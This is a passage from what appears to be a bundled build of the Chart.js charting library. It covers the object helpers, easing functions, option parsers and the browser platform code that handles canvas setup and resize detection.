Object.keys(loopable);\n\t\t\tlen = keys.length;\n\t\t\tfor (i = 0; i < len; i++) {\n\t\t\t\tfn.call(thisArg, loopable[keys[i]], keys[i]);\n\t\t\t}\n\t\t}\n\t},\n\n\t/**\n\t * Returns true if the `a0` and `a1` arrays have the same content, else returns false.\n\t * @see http://stackoverflow.com/a/14853974\n\t * @param {Array} a0 - The array to compare\n\t * @param {Array} a1 - The array to compare\n\t * @returns {Boolean}\n\t */\n\tarrayEquals: function(a0, a1) {\n\t\tvar i, ilen, v0, v1;\n\n\t\tif (!a0 || !a1 || a0.length !== a1.length) {\n\t\t\treturn false;\n\t\t}\n\n\t\tfor (i = 0, ilen = a0.length; i < ilen; ++i) {\n\t\t\tv0 = a0[i];\n\t\t\tv1 = a1[i];\n\n\t\t\tif (v0 instanceof Array && v1 instanceof Array) {\n\t\t\t\tif (!helpers.arrayEquals(v0, v1)) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t} else if (v0 !== v1) {\n\t\t\t\t// NOTE: two different object instances will never be equal: {x:20} != {x:20}\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\n\t\treturn true;\n\t},\n\n\t/**\n\t * Returns a deep copy of `source` without keeping references on objects and arrays.\n\t * @param {*} source - The value to clone.\n\t * @returns {*}\n\t */\n\tclone: function(source) {\n\t\tif (helpers.isArray(source)) {\n\t\t\treturn source.map(helpers.clone);\n\t\t}\n\n\t\tif (helpers.isObject(source)) {\n\t\t\tvar target = {};\n\t\t\tvar keys = Object.keys(source);\n\t\t\tvar klen = keys.length;\n\t\t\tvar k = 0;\n\n\t\t\tfor (; k < klen; ++k) {\n\t\t\t\ttarget[keys[k]] = helpers.clone(source[keys[k]]);\n\t\t\t}\n\n\t\t\treturn target;\n\t\t}\n\n\t\treturn source;\n\t},\n\n\t/**\n\t * The default merger when Chart.helpers.merge is called without merger option.\n\t * Note(SB): this method is also used by configMerge and scaleMerge as fallback.\n\t * @private\n\t */\n\t_merger: function(key, target, source, options) {\n\t\tvar tval = target[key];\n\t\tvar sval = source[key];\n\n\t\tif (helpers.isObject(tval) && helpers.isObject(sval)) {\n\t\t\thelpers.merge(tval, sval, options);\n\t\t} else {\n\t\t\ttarget[key] = helpers.clone(sval);\n\t\t}\n\t},\n\n\t/**\n\t * Merges source[key] in target[key] only if target[key] is undefined.\n\t * @private\n\t */\n\t_mergerIf: function(key, target, source) {\n\t\tvar tval = target[key];\n\t\tvar sval = source[key];\n\n\t\tif (helpers.isObject(tval) && helpers.isObject(sval)) {\n\t\t\thelpers.mergeIf(tval, sval);\n\t\t} else if (!target.hasOwnProperty(key)) {\n\t\t\ttarget[key] = helpers.clone(sval);\n\t\t}\n\t},\n\n\t/**\n\t * Recursively deep copies `source` properties into `target` with the given `options`.\n\t * IMPORTANT: `target` is not cloned and will be updated with `source` properties.\n\t * @param {Object} target - The target object in which all sources are merged into.\n\t * @param {Object|Array(Object)} source - Object(s) to merge into `target`.\n\t * @param {Object} [options] - Merging options:\n\t * @param {Function} [options.merger] - The merge method (key, target, source, options)\n\t * @returns {Object} The `target` object.\n\t */\n\tmerge: function(target, source, options) {\n\t\tvar sources = helpers.isArray(source) ? source : [source];\n\t\tvar ilen = sources.length;\n\t\tvar merge, i, keys, klen, k;\n\n\t\tif (!helpers.isObject(target)) {\n\t\t\treturn target;\n\t\t}\n\n\t\toptions = options || {};\n\t\tmerge = options.merger || helpers._merger;\n\n\t\tfor (i = 0; i < ilen; ++i) {\n\t\t\tsource = sources[i];\n\t\t\tif (!helpers.isObject(source)) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tkeys = Object.keys(source);\n\t\t\tfor (k = 0, klen = keys.length; k < klen; ++k) {\n\t\t\t\tmerge(keys[k], target, source, options);\n\t\t\t}\n\t\t}\n\n\t\treturn target;\n\t},\n\n\t/**\n\t * Recursively deep copies `source` properties into `target` *only* if not defined in target.\n\t * IMPORTANT: `target` is not cloned and will be updated with `source` properties.\n\t * @param {Object} target - The target object in which all sources are merged into.\n\t * @param {Object|Array(Object)} source - Object(s) to merge into `target`.\n\t * @returns {Object} The `target` object.\n\t */\n\tmergeIf: function(target, source) {\n\t\treturn helpers.merge(target, source, {merger: helpers._mergerIf});\n\t},\n\n\t/**\n\t * Applies the contents of two or more objects together into the first object.\n\t * @param {Object} target - The target object in which all objects are merged into.\n\t * @param {Object} arg1 - Object containing additional properties to merge in target.\n\t * @param {Object} argN - Additional objects containing properties to merge in target.\n\t * @returns {Object} The `target` object.\n\t */\n\textend: function(target) {\n\t\tvar setFn = function(value, key) {\n\t\t\ttarget[key] = value;\n\t\t};\n\t\tfor (var i = 1, ilen = arguments.length; i < ilen; ++i) {\n\t\t\thelpers.each(arguments[i], setFn);\n\t\t}\n\t\treturn target;\n\t},\n\n\t/**\n\t * Basic javascript inheritance based on the model created in Backbone.js\n\t */\n\tinherits: function(extensions) {\n\t\tvar me = this;\n\t\tvar ChartElement = (extensions && extensions.hasOwnProperty('constructor')) ? extensions.constructor : function() {\n\t\t\treturn me.apply(this, arguments);\n\t\t};\n\n\t\tvar Surrogate = function() {\n\t\t\tthis.constructor = ChartElement;\n\t\t};\n\n\t\tSurrogate.prototype = me.prototype;\n\t\tChartElement.prototype = new Surrogate();\n\t\tChartElement.extend = helpers.inherits;\n\n\t\tif (extensions) {\n\t\t\thelpers.extend(ChartElement.prototype, extensions);\n\t\t}\n\n\t\tChartElement.__super__ = me.prototype;\n\t\treturn ChartElement;\n\t}\n};\n\nmodule.exports = helpers;\n\n// DEPRECATIONS\n\n/**\n * Provided for backward compatibility, use Chart.helpers.callback instead.\n * @function Chart.helpers.callCallback\n * @deprecated since version 2.6.0\n * @todo remove at version 3\n * @private\n */\nhelpers.callCallback = helpers.callback;\n\n/**\n * Provided for backward compatibility, use Array.prototype.indexOf instead.\n * Array.prototype.indexOf compatibility: Chrome, Opera, Safari, FF1.5+, IE9+\n * @function Chart.helpers.indexOf\n * @deprecated since version 2.7.0\n * @todo remove at version 3\n * @private\n */\nhelpers.indexOf = function(array, item, fromIndex) {\n\treturn Array.prototype.indexOf.call(array, item, fromIndex);\n};\n\n/**\n * Provided for backward compatibility, use Chart.helpers.valueOrDefault instead.\n * @function Chart.helpers.getValueOrDefault\n * @deprecated since version 2.7.0\n * @todo remove at version 3\n * @private\n */\nhelpers.getValueOrDefault = helpers.valueOrDefault;\n\n/**\n * Provided for backward compatibility, use Chart.helpers.valueAtIndexOrDefault instead.\n * @function Chart.helpers.getValueAtIndexOrDefault\n * @deprecated since version 2.7.0\n * @todo remove at version 3\n * @private\n */\nhelpers.getValueAtIndexOrDefault = helpers.valueAtIndexOrDefault;\n\n},{}],43:[function(require,module,exports){\n'use strict';\n\nvar helpers = require(42);\n\n/**\n * Easing functions adapted from Robert Penner's easing equations.\n * @namespace Chart.helpers.easingEffects\n * @see http://www.robertpenner.com/easing/\n */\nvar effects = {\n\tlinear: function(t) {\n\t\treturn t;\n\t},\n\n\teaseInQuad: function(t) {\n\t\treturn t * t;\n\t},\n\n\teaseOutQuad: function(t) {\n\t\treturn -t * (t - 2);\n\t},\n\n\teaseInOutQuad: function(t) {\n\t\tif ((t /= 0.5) < 1) {\n\t\t\treturn 0.5 * t * t;\n\t\t}\n\t\treturn -0.5 * ((--t) * (t - 2) - 1);\n\t},\n\n\teaseInCubic: function(t) {\n\t\treturn t * t * t;\n\t},\n\n\teaseOutCubic: function(t) {\n\t\treturn (t = t - 1) * t * t + 1;\n\t},\n\n\teaseInOutCubic: function(t) {\n\t\tif ((t /= 0.5) < 1) {\n\t\t\treturn 0.5 * t * t * t;\n\t\t}\n\t\treturn 0.5 * ((t -= 2) * t * t + 2);\n\t},\n\n\teaseInQuart: function(t) {\n\t\treturn t * t * t * t;\n\t},\n\n\teaseOutQuart: function(t) {\n\t\treturn -((t = t - 1) * t * t * t - 1);\n\t},\n\n\teaseInOutQuart: function(t) {\n\t\tif ((t /= 0.5) < 1) {\n\t\t\treturn 0.5 * t * t * t * t;\n\t\t}\n\t\treturn -0.5 * ((t -= 2) * t * t * t - 2);\n\t},\n\n\teaseInQuint: function(t) {\n\t\treturn t * t * t * t * t;\n\t},\n\n\teaseOutQuint: function(t) {\n\t\treturn (t = t - 1) * t * t * t * t + 1;\n\t},\n\n\teaseInOutQuint: function(t) {\n\t\tif ((t /= 0.5) < 1) {\n\t\t\treturn 0.5 * t * t * t * t * t;\n\t\t}\n\t\treturn 0.5 * ((t -= 2) * t * t * t * t + 2);\n\t},\n\n\teaseInSine: function(t) {\n\t\treturn -Math.cos(t * (Math.PI / 2)) + 1;\n\t},\n\n\teaseOutSine: function(t) {\n\t\treturn Math.sin(t * (Math.PI / 2));\n\t},\n\n\teaseInOutSine: function(t) {\n\t\treturn -0.5 * (Math.cos(Math.PI * t) - 1);\n\t},\n\n\teaseInExpo: function(t) {\n\t\treturn (t === 0) ? 0 : Math.pow(2, 10 * (t - 1));\n\t},\n\n\teaseOutExpo: function(t) {\n\t\treturn (t === 1) ? 1 : -Math.pow(2, -10 * t) + 1;\n\t},\n\n\teaseInOutExpo: function(t) {\n\t\tif (t === 0) {\n\t\t\treturn 0;\n\t\t}\n\t\tif (t === 1) {\n\t\t\treturn 1;\n\t\t}\n\t\tif ((t /= 0.5) < 1) {\n\t\t\treturn 0.5 * Math.pow(2, 10 * (t - 1));\n\t\t}\n\t\treturn 0.5 * (-Math.pow(2, -10 * --t) + 2);\n\t},\n\n\teaseInCirc: function(t) {\n\t\tif (t >= 1) {\n\t\t\treturn t;\n\t\t}\n\t\treturn -(Math.sqrt(1 - t * t) - 1);\n\t},\n\n\teaseOutCirc: function(t) {\n\t\treturn Math.sqrt(1 - (t = t - 1) * t);\n\t},\n\n\teaseInOutCirc: function(t) {\n\t\tif ((t /= 0.5) < 1) {\n\t\t\treturn -0.5 * (Math.sqrt(1 - t * t) - 1);\n\t\t}\n\t\treturn 0.5 * (Math.sqrt(1 - (t -= 2) * t) + 1);\n\t},\n\n\teaseInElastic: function(t) {\n\t\tvar s = 1.70158;\n\t\tvar p = 0;\n\t\tvar a = 1;\n\t\tif (t === 0) {\n\t\t\treturn 0;\n\t\t}\n\t\tif (t === 1) {\n\t\t\treturn 1;\n\t\t}\n\t\tif (!p) {\n\t\t\tp = 0.3;\n\t\t}\n\t\tif (a < 1) {\n\t\t\ta = 1;\n\t\t\ts = p / 4;\n\t\t} else {\n\t\t\ts = p / (2 * Math.PI) * Math.asin(1 / a);\n\t\t}\n\t\treturn -(a * Math.pow(2, 10 * (t -= 1)) * Math.sin((t - s) * (2 * Math.PI) / p));\n\t},\n\n\teaseOutElastic: function(t) {\n\t\tvar s = 1.70158;\n\t\tvar p = 0;\n\t\tvar a = 1;\n\t\tif (t === 0) {\n\t\t\treturn 0;\n\t\t}\n\t\tif (t === 1) {\n\t\t\treturn 1;\n\t\t}\n\t\tif (!p) {\n\t\t\tp = 0.3;\n\t\t}\n\t\tif (a < 1) {\n\t\t\ta = 1;\n\t\t\ts = p / 4;\n\t\t} else {\n\t\t\ts = p / (2 * Math.PI) * Math.asin(1 / a);\n\t\t}\n\t\treturn a * Math.pow(2, -10 * t) * Math.sin((t - s) * (2 * Math.PI) / p) + 1;\n\t},\n\n\teaseInOutElastic: function(t) {\n\t\tvar s = 1.70158;\n\t\tvar p = 0;\n\t\tvar a = 1;\n\t\tif (t === 0) {\n\t\t\treturn 0;\n\t\t}\n\t\tif ((t /= 0.5) === 2) {\n\t\t\treturn 1;\n\t\t}\n\t\tif (!p) {\n\t\t\tp = 0.45;\n\t\t}\n\t\tif (a < 1) {\n\t\t\ta = 1;\n\t\t\ts = p / 4;\n\t\t} else {\n\t\t\ts = p / (2 * Math.PI) * Math.asin(1 / a);\n\t\t}\n\t\tif (t < 1) {\n\t\t\treturn -0.5 * (a * Math.pow(2, 10 * (t -= 1)) * Math.sin((t - s) * (2 * Math.PI) / p));\n\t\t}\n\t\treturn a * Math.pow(2, -10 * (t -= 1)) * Math.sin((t - s) * (2 * Math.PI) / p) * 0.5 + 1;\n\t},\n\teaseInBack: function(t) {\n\t\tvar s = 1.70158;\n\t\treturn t * t * ((s + 1) * t - s);\n\t},\n\n\teaseOutBack: function(t) {\n\t\tvar s = 1.70158;\n\t\treturn (t = t - 1) * t * ((s + 1) * t + s) + 1;\n\t},\n\n\teaseInOutBack: function(t) {\n\t\tvar s = 1.70158;\n\t\tif ((t /= 0.5) < 1) {\n\t\t\treturn 0.5 * (t * t * (((s *= (1.525)) + 1) * t - s));\n\t\t}\n\t\treturn 0.5 * ((t -= 2) * t * (((s *= (1.525)) + 1) * t + s) + 2);\n\t},\n\n\teaseInBounce: function(t) {\n\t\treturn 1 - effects.easeOutBounce(1 - t);\n\t},\n\n\teaseOutBounce: function(t) {\n\t\tif (t < (1 / 2.75)) {\n\t\t\treturn 7.5625 * t * t;\n\t\t}\n\t\tif (t < (2 / 2.75)) {\n\t\t\treturn 7.5625 * (t -= (1.5 / 2.75)) * t + 0.75;\n\t\t}\n\t\tif (t < (2.5 / 2.75)) {\n\t\t\treturn 7.5625 * (t -= (2.25 / 2.75)) * t + 0.9375;\n\t\t}\n\t\treturn 7.5625 * (t -= (2.625 / 2.75)) * t + 0.984375;\n\t},\n\n\teaseInOutBounce: function(t) {\n\t\tif (t < 0.5) {\n\t\t\treturn effects.easeInBounce(t * 2) * 0.5;\n\t\t}\n\t\treturn effects.easeOutBounce(t * 2 - 1) * 0.5 + 0.5;\n\t}\n};\n\nmodule.exports = {\n\teffects: effects\n};\n\n// DEPRECATIONS\n\n/**\n * Provided for backward compatibility, use Chart.helpers.easing.effects instead.\n * @function Chart.helpers.easingEffects\n * @deprecated since version 2.7.0\n * @todo remove at version 3\n * @private\n */\nhelpers.easingEffects = effects;\n\n},{\"42\":42}],44:[function(require,module,exports){\n'use strict';\n\nvar helpers = require(42);\n\n/**\n * @alias Chart.helpers.options\n * @namespace\n */\nmodule.exports = {\n\t/**\n\t * Converts the given line height `value` in pixels for a specific font `size`.\n\t * @param {Number|String} value - The lineHeight to parse (eg. 1.6, '14px', '75%', '1.6em').\n\t * @param {Number} size - The font size (in pixels) used to resolve relative `value`.\n\t * @returns {Number} The effective line height in pixels (size * 1.2 if value is invalid).\n\t * @see https://developer.mozilla.org/en-US/docs/Web/CSS/line-height\n\t * @since 2.7.0\n\t */\n\ttoLineHeight: function(value, size) {\n\t\tvar matches = ('' + value).match(/^(normal|(\\d+(?:\\.\\d+)?)(px|em|%)?)$/);\n\t\tif (!matches || matches[1] === 'normal') {\n\t\t\treturn size * 1.2;\n\t\t}\n\n\t\tvalue = +matches[2];\n\n\t\tswitch (matches[3]) {\n\t\tcase 'px':\n\t\t\treturn value;\n\t\tcase '%':\n\t\t\tvalue /= 100;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\n\t\treturn size * value;\n\t},\n\n\t/**\n\t * Converts the given value into a padding object with pre-computed width/height.\n\t * @param {Number|Object} value - If a number, set the value to all TRBL component,\n\t *  else, if and object, use defined properties and sets undefined ones to 0.\n\t * @returns {Object} The padding values (top, right, bottom, left, width, height)\n\t * @since 2.7.0\n\t */\n\ttoPadding: function(value) {\n\t\tvar t, r, b, l;\n\n\t\tif (helpers.isObject(value)) {\n\t\t\tt = +value.top || 0;\n\t\t\tr = +value.right || 0;\n\t\t\tb = +value.bottom || 0;\n\t\t\tl = +value.left || 0;\n\t\t} else {\n\t\t\tt = r = b = l = +value || 0;\n\t\t}\n\n\t\treturn {\n\t\t\ttop: t,\n\t\t\tright: r,\n\t\t\tbottom: b,\n\t\t\tleft: l,\n\t\t\theight: t + b,\n\t\t\twidth: l + r\n\t\t};\n\t},\n\n\t/**\n\t * Evaluates the given `inputs` sequentially and returns the first defined value.\n\t * @param {Array[]} inputs - An array of values, falling back to the last value.\n\t * @param {Object} [context] - If defined and the current value is a function, the value\n\t * is called with `context` as first argument and the result becomes the new input.\n\t * @param {Number} [index] - If defined and the current value is an array, the value\n\t * at `index` become the new input.\n\t * @since 2.7.0\n\t */\n\tresolve: function(inputs, context, index) {\n\t\tvar i, ilen, value;\n\n\t\tfor (i = 0, ilen = inputs.length; i < ilen; ++i) {\n\t\t\tvalue = inputs[i];\n\t\t\tif (value === undefined) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (context !== undefined && typeof value === 'function') {\n\t\t\t\tvalue = value(context);\n\t\t\t}\n\t\t\tif (index !== undefined && helpers.isArray(value)) {\n\t\t\t\tvalue = value[index];\n\t\t\t}\n\t\t\tif (value !== undefined) {\n\t\t\t\treturn value;\n\t\t\t}\n\t\t}\n\t}\n};\n\n},{\"42\":42}],45:[function(require,module,exports){\n'use strict';\n\nmodule.exports = require(42);\nmodule.exports.easing = require(43);\nmodule.exports.canvas = require(41);\nmodule.exports.options = require(44);\n\n},{\"41\":41,\"42\":42,\"43\":43,\"44\":44}],46:[function(require,module,exports){\n/**\n * Platform fallback implementation (minimal).\n * @see https://github.com/chartjs/Chart.js/pull/4591#issuecomment-319575939\n */\n\nmodule.exports = {\n\tacquireContext: function(item) {\n\t\tif (item && item.canvas) {\n\t\t\t// Support for any object associated to a canvas (including a context2d)\n\t\t\titem = item.canvas;\n\t\t}\n\n\t\treturn item && item.getContext('2d') || null;\n\t}\n};\n\n},{}],47:[function(require,module,exports){\n/**\n * Chart.Platform implementation for targeting a web browser\n */\n\n'use strict';\n\nvar helpers = require(45);\n\nvar EXPANDO_KEY = '$chartjs';\nvar CSS_PREFIX = 'chartjs-';\nvar CSS_RENDER_MONITOR = CSS_PREFIX + 'render-monitor';\nvar CSS_RENDER_ANIMATION = CSS_PREFIX + 'render-animation';\nvar ANIMATION_START_EVENTS = ['animationstart', 'webkitAnimationStart'];\n\n/**\n * DOM event types -> Chart.js event types.\n * Note: only events with different types are mapped.\n * @see https://developer.mozilla.org/en-US/docs/Web/Events\n */\nvar EVENT_TYPES = {\n\ttouchstart: 'mousedown',\n\ttouchmove: 'mousemove',\n\ttouchend: 'mouseup',\n\tpointerenter: 'mouseenter',\n\tpointerdown: 'mousedown',\n\tpointermove: 'mousemove',\n\tpointerup: 'mouseup',\n\tpointerleave: 'mouseout',\n\tpointerout: 'mouseout'\n};\n\n/**\n * The \"used\" size is the final value of a dimension property after all calculations have\n * been performed. This method uses the computed style of `element` but returns undefined\n * if the computed style is not expressed in pixels. That can happen in some cases where\n * `element` has a size relative to its parent and this last one is not yet displayed,\n * for example because of `display: none` on a parent node.\n * @see https://developer.mozilla.org/en-US/docs/Web/CSS/used_value\n * @returns {Number} Size in pixels or undefined if unknown.\n */\nfunction readUsedSize(element, property) {\n\tvar value = helpers.getStyle(element, property);\n\tvar matches = value && value.match(/^(\\d+)(\\.\\d+)?px$/);\n\treturn matches ? Number(matches[1]) : undefined;\n}\n\n/**\n * Initializes the canvas style and render size without modifying the canvas display size,\n * since responsiveness is handled by the controller.resize() method. The config is used\n * to determine the aspect ratio to apply in case no explicit height has been specified.\n */\nfunction initCanvas(canvas, config) {\n\tvar style = canvas.style;\n\n\t// NOTE(SB) canvas.getAttribute('width') !== canvas.width: in the first case it\n\t// returns null or '' if no explicit value has been set to the canvas attribute.\n\tvar renderHeight = canvas.getAttribute('height');\n\tvar renderWidth = canvas.getAttribute('width');\n\n\t// Chart.js modifies some canvas values that we want to restore on destroy\n\tcanvas[EXPANDO_KEY] = {\n\t\tinitial: {\n\t\t\theight: renderHeight,\n\t\t\twidth: renderWidth,\n\t\t\tstyle: {\n\t\t\t\tdisplay: style.display,\n\t\t\t\theight: style.height,\n\t\t\t\twidth: style.width\n\t\t\t}\n\t\t}\n\t};\n\n\t// Force canvas to display as block to avoid extra space caused by inline\n\t// elements, which would interfere with the responsive resize process.\n\t// https://github.com/chartjs/Chart.js/issues/2538\n\tstyle.display = style.display || 'block';\n\n\tif (renderWidth === null || renderWidth === '') {\n\t\tvar displayWidth = readUsedSize(canvas, 'width');\n\t\tif (displayWidth !== undefined) {\n\t\t\tcanvas.width = displayWidth;\n\t\t}\n\t}\n\n\tif (renderHeight === null || renderHeight === '') {\n\t\tif (canvas.style.height === '') {\n\t\t\t// If no explicit render height and style height, let's apply the aspect ratio,\n\t\t\t// which one can be specified by the user but also by charts as default option\n\t\t\t// (i.e. options.aspectRatio). If not specified, use canvas aspect ratio of 2.\n\t\t\tcanvas.height = canvas.width / (config.options.aspectRatio || 2);\n\t\t} else {\n\t\t\tvar displayHeight = readUsedSize(canvas, 'height');\n\t\t\tif (displayWidth !== undefined) {\n\t\t\t\tcanvas.height = displayHeight;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn canvas;\n}\n\n/**\n * Detects support for options object argument in addEventListener.\n * https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener#Safely_detecting_option_support\n * @private\n */\nvar supportsEventListenerOptions = (function() {\n\tvar supports = false;\n\ttry {\n\t\tvar options = Object.defineProperty({}, 'passive', {\n\t\t\tget: function() {\n\t\t\t\tsupports = true;\n\t\t\t}\n\t\t});\n\t\twindow.addEventListener('e', null, options);\n\t} catch (e) {\n\t\t// continue regardless of error\n\t}\n\treturn supports;\n}());\n\n// Default passive to true as expected by Chrome for 'touchstart' and 'touchend' events.\n// https://github.com/chartjs/Chart.js/issues/4287\nvar eventListenerOptions = supportsEventListenerOptions ? {passive: true} : false;\n\nfunction addEventListener(node, type, listener) {\n\tnode.addEventListener(type, listener, eventListenerOptions);\n}\n\nfunction removeEventListener(node, type, listener) {\n\tnode.removeEventListener(type, listener, eventListenerOptions);\n}\n\nfunction createEvent(type, chart, x, y, nativeEvent) {\n\treturn {\n\t\ttype: type,\n\t\tchart: chart,\n\t\tnative: nativeEvent || null,\n\t\tx: x !== undefined ? x : null,\n\t\ty: y !== undefined ? y : null,\n\t};\n}\n\nfunction fromNativeEvent(event, chart) {\n\tvar type = EVENT_TYPES[event.type] || event.type;\n\tvar pos = helpers.getRelativePosition(event, chart);\n\treturn createEvent(type, chart, pos.x, pos.y, event);\n}\n\nfunction throttled(fn, thisArg) {\n\tvar ticking = false;\n\tvar args = [];\n\n\treturn function() {\n\t\targs = Array.prototype.slice.call(arguments);\n\t\tthisArg = thisArg || this;\n\n\t\tif (!ticking) {\n\t\t\tticking = true;\n\t\t\thelpers.requestAnimFrame.call(window, function() {\n\t\t\t\tticking = false;\n\t\t\t\tfn.apply(thisArg, args);\n\t\t\t});\n\t\t}\n\t};\n}\n\n// Implementation based on https://github.com/marcj/css-element-queries\nfunction createResizer(handler) {\n\tvar resizer = document.createElement('div');\n\tvar cls = CSS_PREFIX + 'size-monitor';\n\tvar maxSize = 1000000;\n\tvar style =\n\t\t'position:absolute;' +\n\t\t'left:0;' +\n\t\t'top:0;' +\n\t\t'right:0;' +\n\t\t'bottom:0;' +\n\t\t'overflow:hidden;' +\n\t\t'pointer-events:none;' +\n\t\t'visibility:hidden;' +\n\t\t'z-index:-1;';\n\n\tresizer.style.cssText = style;\n\tresizer.className = cls;\n\tresizer.innerHTML =\n\t\t'<div class=\"' + cls + '-expand\" style=\"' + style + '\">' +\n\t\t\t'<div style=\"' +\n\t\t\t\t'position:absolute;' +\n\t\t\t\t'width:' + maxSize + 'px;' +\n\t\t\t\t'height:' + maxSize + 'px;' +\n\t\t\t\t'left:0;' +\n\t\t\t\t'top:0\">' +\n\t\t\t'</div>' +\n\t\t'</div>' +\n\t\t'<div class=\"' + cls + '-shrink\" style=\"' + style + '\">' +\n\t\t\t'<div style=\"' +\n\t\t\t\t'position:absolute;' +\n\t\t\t\t'width:200%;' +\n\t\t\t\t'height:200%;' +\n\t\t\t\t'left:0; ' +\n\t\t\t\t'top:0\">' +\n\t\t\t'</div>' +\n\t\t'</div>';\n\n\tvar expand = resizer.childNodes[0];\n\tvar shrink = resizer.childNodes[1];\n\n\tresizer._reset = function() {\n\t\texpand.scrollLeft = maxSize;\n\t\texpand.scrollTop = maxSize;\n\t\tshrink.scrollLeft = maxSize;\n\t\tshrink.scrollTop = maxSize;\n\t};\n\tvar onScroll = function() {\n\t\tresizer._reset();\n\t\thandler();\n\t};\n\n\taddEventListener(expand, 'scroll', onScroll.bind(expand, 'expand'));\n\taddEventListener(shrink, 'scroll', onScroll.bind(shrink, 'shrink'));\n\n\treturn resizer;\n}\n\n// https://davidwalsh.name/detect-node-insertion\nfunction watchForRender(node, handler) {\n\tvar expando = node[EXPANDO_KEY] || (node[EXPANDO_KEY] = {});\n\tvar proxy = expando.renderProxy = function(e) {\n\t\tif (e.animationName === CSS_RENDER_ANIMATION) {\n\t\t\thandler();\n\t\t}\n\t};\n\n\thelpers.each(ANIMATION_START_EVENTS, function(type) {\n\t\taddEventListener(node, type, proxy);\n\t});\n\n\t// #4737: Chrome might skip the CSS animation when the CSS_RENDER_MONITOR class\n\t// is removed then added back immediately (same animation frame?). Accessing the\n\t// `offsetParent` property will force a reflow and re-evaluate the CSS animation.\n\t// https://gist.github.com/paulirish/5d52fb081b3570c81e3a#box-metrics\n\t// https://github.com/chartjs/Chart.js/issues/4737\n\texpando.reflow = !!node.offsetParent;\n\n\tnode.classList.add(CSS_RENDER_MONITOR);\n}\n\nfunction unwatchForRender(node) {\n\tvar expando = node[EXPANDO_KEY] || {};\n\tvar proxy = expando.renderProxy;\n\n\tif (proxy) {\n\t\thelpers.each(ANIMATION_START_EVENTS, function(type) {\n\t\t\tremoveEventListener(node, type, proxy);\n\t\t});\n\n\t\tdelete expando.renderProxy;\n\t}\n\n\tnode.classList.remove(CSS_RENDER_MONITOR);\n}\n\nfunction addResizeListener(node, listener, chart) {\n\tvar expando = node[EXPANDO_KEY] || (node[EXPANDO_KEY] = {});\n\n\t// Let's keep track of this added resizer and thus avoid DOM query when removing it.\n\tvar resizer = expando.resizer = createResizer(throttled(function() {\n\t\tif (expando.resizer) {\n\t\t\treturn listener(createEvent('resize', chart));\n\t\t}\n\t}));\n\n\t// The resizer needs to be attached to the node parent, so we first need to be\n\t// sure that `node` is attached to the DOM before injecting the resizer element.\n\twatchForRender(node, function() {\n\t\tif (expando.resizer) {\n\t\t\tvar container = node.parentNode;\n\t\t\tif (container && container !== resizer.parentNode) {\n\t\t\t\tcontainer.insertBefore(resizer, container.firstChild);\n\t\t\t}\n\n\t\t\t// The container size might have changed, let's reset the resizer state.\n\t\t\tresizer._reset();\n\t\t}\n\t});\n}\n\nfunction removeResizeListener(node) {\n\tvar expando = node[EXPANDO_KEY] || {};\n\tvar resizer = expando.resizer;\n\n\tdelete expando.resizer;\n\tunwatchForRender(node);\n\n\tif (resizer && resizer.parentNode) {\n\t\tresizer.parentNode.removeChild(resizer);\n\t}\n}\n\nfunction injectCSS(platform, css) {\n\t// http://stackoverflow.com/q/3922139\n\tvar style = platform._style || document.createElement('style');\n\tif (!platform._style) {\n\t\tplatform._style = style;\n\t\tcss = '/* Chart.js */\\n' + css;\n\t\tstyle.setAttribute('type', 'text/css');\n\t\tdocument.getElementsByTagName('head')[0].appendChild(style);\n\t}\n\n\tstyle.appendChild(document.createTextNode(css));\n}\n\nmodule.exports = {\n\t/**\n\t * This property holds whether this platform is enabled for the current environment.\n\t * Currently used by platform.js to select the proper implementation.\n\t * @private\n\t */\n\t_enabled: typeof window !== 'undefined' && typeof document !== 'undefined',\n\n\tinitialize: function() {\n\t\tvar keyframes = 'from{opacity:0.99}to{opacity:1}';\n\n\t\tinjectCSS(this,\n\t\t\t// DOM rendering detection\n\t\t\t// https://davidwalsh.name/detect-node-insertion\n\t\t\t'@-webkit-keyframes ' + CSS_RENDER_ANIMATION + '{' + keyframes + '}' +\n\t\t\t'@keyframes ' + CSS_RENDER_ANIMATION + '{' + keyframes + '}' +\n\t\t\t'.' + CSS_RENDER_MONITOR + '{' +\n\t\t\t\t'-webkit-animation:' + CSS_RENDER_ANIMATION + ' 0.001s;' +\n\t\t\t\t'animation:' + CSS_RENDER_ANIMATION + ' 0.001s;' +\n\t\t\t'}'\n\t\t);\n\t},\n\n\tacquireContext: function(item, config) {\n\t\tif (typeof item === 'string') {\n\t\t\titem = document.getElementById(item);\n\t\t} else if (item.length) {\n\t\t\t// Support for array based queries (such as jQuery)\n\t\t\titem = item[0];\n\t\t}\n\n\t\tif (item && item.canvas) {\n\t\t\t// Support for any object associated to a canvas (including a context2d)\n\t\t\titem = item.canvas;\n\t\t}\n\n\t\t// To prevent canvas fingerprinting, some add-ons undefine the getContext\n\t\t// method, for example: https://github.com/kkapsner/CanvasBlocker\n\t\t// https://github.com/chartjs/Chart.js/issues/2807\n\t\tvar context = item && item.getContext && item.getContext('2d');\n\n\t\t// `instanceof HTMLCanvasElement/CanvasRenderingContext2D` fails when the item is\n\t\t// inside an iframe or when running in a protected environment. We could guess the\n\t\t// types from their toString() value but let's keep things flexible and assume it's\n\t\t// a sufficient condition if the item has a context2D which has item as `canvas`.\n\t\t// https://github.com/chartjs/Chart.js/issues/3887\n\t\t// https://github.com/chartjs/Chart.js/issues/4102\n\t\t// https://github.com/chartjs/Chart.js/issues/4152\n\t\tif (context && context.canvas === item) {\n\t\t\tinitCanvas(item, config);\n\t\t\treturn context;\n\t\t}\n\n\t\treturn null;\n\t},\n\n\treleaseContext: function(context) {\n\t\tvar canvas = context.canvas;\n\t\tif (!canvas[EXPANDO_KEY]) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar initial = canvas[EXPANDO_KEY].initial;\n\t\t['height', 'width'].forEach(function(prop) {\n\t\t\tvar value = initial[prop];\n\t\t\tif (helpers.isNullOrUndef(value)) {\n\t\t\t\tcanvas.removeAttribute(prop);\n\t\t\t} else {\n\t\t\t\tcanvas.setAttribute(prop, value);\n\t\t\t}\n\t\t});\n\n\t\thelpers.each(initial.style || {}, function(value, key) 